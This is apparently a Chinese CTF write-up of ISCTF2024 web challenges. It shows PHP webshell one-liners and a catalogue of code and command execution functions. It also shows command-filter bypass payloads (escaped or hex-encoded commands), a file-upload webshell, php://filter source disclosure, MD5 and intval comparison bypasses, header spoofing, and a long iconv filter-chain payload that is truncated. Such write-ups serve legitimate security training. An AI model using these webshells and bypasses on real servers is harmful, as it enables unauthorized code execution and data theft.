ISCTF2024复现

1z_php

<?php
highlight_file('index.php');

#一句话木马，神神又奇奇

if(isset($_POST['J'])){
    $call=$_POST['J'];
    $dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
    foreach ($dangerous_commands as $command) {
        if (preg_match("/$command/i", $call)) {
            die("这些个危险函数可不兴使啊");
        }
    }
    system($call);
}
?>

ban了些读取文件的命令，可使用strings绕过

读取绕过

J=ls
J=strings /f14g  #strings会提取文件中的可打印字符
J=ca\t /f14g     #反斜杠绕过
J=grep { /f14g  #grep是用来查找字符串的，在这里我们查找{他会输出含有{的那一行
J=c''at /f14g   #''在bash中会被解释为空字符串，当flag被禁时也可以用
J=cp /f14g /var/www/html/index.php  #将/f14g的内容拷贝到index.php，index.php的内容会被覆盖

传马

false:J=echo '<?php @system($_POST['123']);?>' > a.php
true:J=echo '<?php @eval($_POST['123']);?>' > a.php

然后蚁剑访问a.php连接后就可以获得flag了

但是在这里就涉及到第一次传马失败的知识点，system()函数和eval()函数区别

补充:system()函数和eval()函数区别

区分

eval类型函数是代码执行而不是命令执行（一句话木马）

system类型函数是命令执行而不是代码执行

具体来说，就是eval()函数将字符串作为代码执行。可以执行任何合法的编程语言语句或表达式，而sysstem()函数调用操作系统的命令解释器（如Shell）来执行指定的命令

举例

<?php
    eval("echo 1+1;");    //2
    system("echo 1+1;");  //1+1;
?>

    
<?php
    $num=1;
    eval("\$a = $num;");    //有效,$a=1
    system("\$b = $num;");  //无效,$b=NULL  
?>

代码执行函数

1-eval
<?php eval($_POST["cmd"]) ?>

2-assert
<?php assert($_POST["cmd"]) ?>

3-call_user_func
<?php
    call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4-create_function
<?php 
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
?>
//post:func=phpinfo();

5-array_map
<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET['func'],$array);
?>
//post:func=phpinfo

命令执行函数

1-system
<?php system($_POST["cmd"]);?>

2-passthru
<?php passthru($_POST["cmd"]);?>

3-exec
<?php echo exec($_POST["cmd"]);?>

4-pcntl_exec
<?php 
    pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

7-``
<?php echo `whoami`?>

8-
<?php
	$cmd = 'system';
	ob_start($cmd)
	echo "$_GET[a]";
	ob_end_flush();
?>
//?a=whoami

25时晓山瑞希生日会

进入环境就提示需要Project Sekai的客户端请求，抓包更改UA

User-Agent: Project Sekai

然后要正确时间，根据题目描述添加时间 不知道年月日好像随便一个都行？

Date:Tue, 15 Nov 2010 9:15:31 GMT

提示本地来，添加X-Forwarded-For

X-Forwarded-For:127.0.0.1

好吧，还是限制了时间，更改时间就行

Date:Tue, 15 Nov 2024 05:01:31 GMT

又结束了？？？？？再改时间吧

Date:Tue, 15 Nov 2024 25:01:31 GMT

提示格式不对，搜索后更改格式和时间

Date: Sun, 27 Aug 2024 05:00:00 GMT

拿到flag

UP!UPloader

随便上传一个文件发现有include.php，访问发现为文件包含

filename=php://filter/read=convert.base64-encode/resource=upload.php

成功读取文件内容，解码后源码如下

<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $name = pathinfo($file['name'], PATHINFO_FILENAME);
    $dir_name = $name . '.' . $ext;
    $upload_dir = './uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }
    if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
        echo "文件上传成功！不过文件路径可不好找呀~什么？什么include.php？我不知道啊。" ;
    } else {
        echo "文件存储失败，未知原因......";
    }
    die();
}
?>

因此直接访问上传目录下的md5加密后文件名传马即可

这里我传的是1.php，加密后为f3b94e88bd1bd325af6f62828c8785dd.php，蚁剑连接就行

其实没找到，flag藏在phpinfo()页面了，除了phpinfo();还可以通过system('env');找到

ezrce

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
        die("Blocked by security filter!");
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

ban了挺多函数，但是十六进制那个未被ban，因此直接绕过

cmd=(sy.(st).em)(hex2bin("6c73202f"));  //十六进制为ls /
cmd=(sy.(st).em)(hex2bin("636174202f666c6167"));  //十六进制为cat /flag

其他payload

cmd=passthru('cd%09..;cd%09..;cd%09..;strings%09[a-z]lag'); //system 可以用 passthru 代替，过滤了 /，可以通过 cd .. 进行绕过，然后文件读取同样 strings 即可
cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag

小蓝鲨的冒险

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) { //通过数组传一个MD5加密后为0e开头的进去，比如240610708
    $num = $_POST["num"];
    if($num == 2024){
        die("QAQ");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0) == 2024){ //小数绕过或八进制绕过
        if (isset($_GET['which'])){
            $which = $_GET['which'];
            switch ($which){
                case 0:
                    print('QAQ');
                case 1:
                case 2:
                    require_once $which.'.php';
                    echo $flag;
                    break;
                default:
                    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                    break;
            }
        }
    }
}

payload

GET b=a[0]=240610708&which=flag
POST num=2024.1或num=03750

千年樱

第一层

先添加cookie

cookie:from=ISCTF

第二层

<?php
   include "dir.php";
   highlight_file(__FILE__);

   if(file_get_contents($_POST['name']) === 'ISCTF'){
        echo $dir2;
    }
   else{
        die("Wrong!");
    }
 ?>

直接用data伪协议

name=data://text/plain,ISCTF

第三层

<?php
    include "dir.php";
    highlight_file(__FILE__);

    function waf($str){
        if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
            die('bad hacker!!!');
        }
    }
    $poc = $_POST['poc'];
    waf($poc);
    $filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
    $result = file_get_contents($filename);
    if($result === "sakura for ISCTF"){
        echo "yes! master!";
        eval($_POST['cmd']);
    }

    if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
        var_dump($result);
    }


    ?>

 我们可以用神奇的php_filter_chain_generator工具构造filter链:

python php_filter_chain_generator.py --chain sakura for ISCTF<?php

poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|con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f*');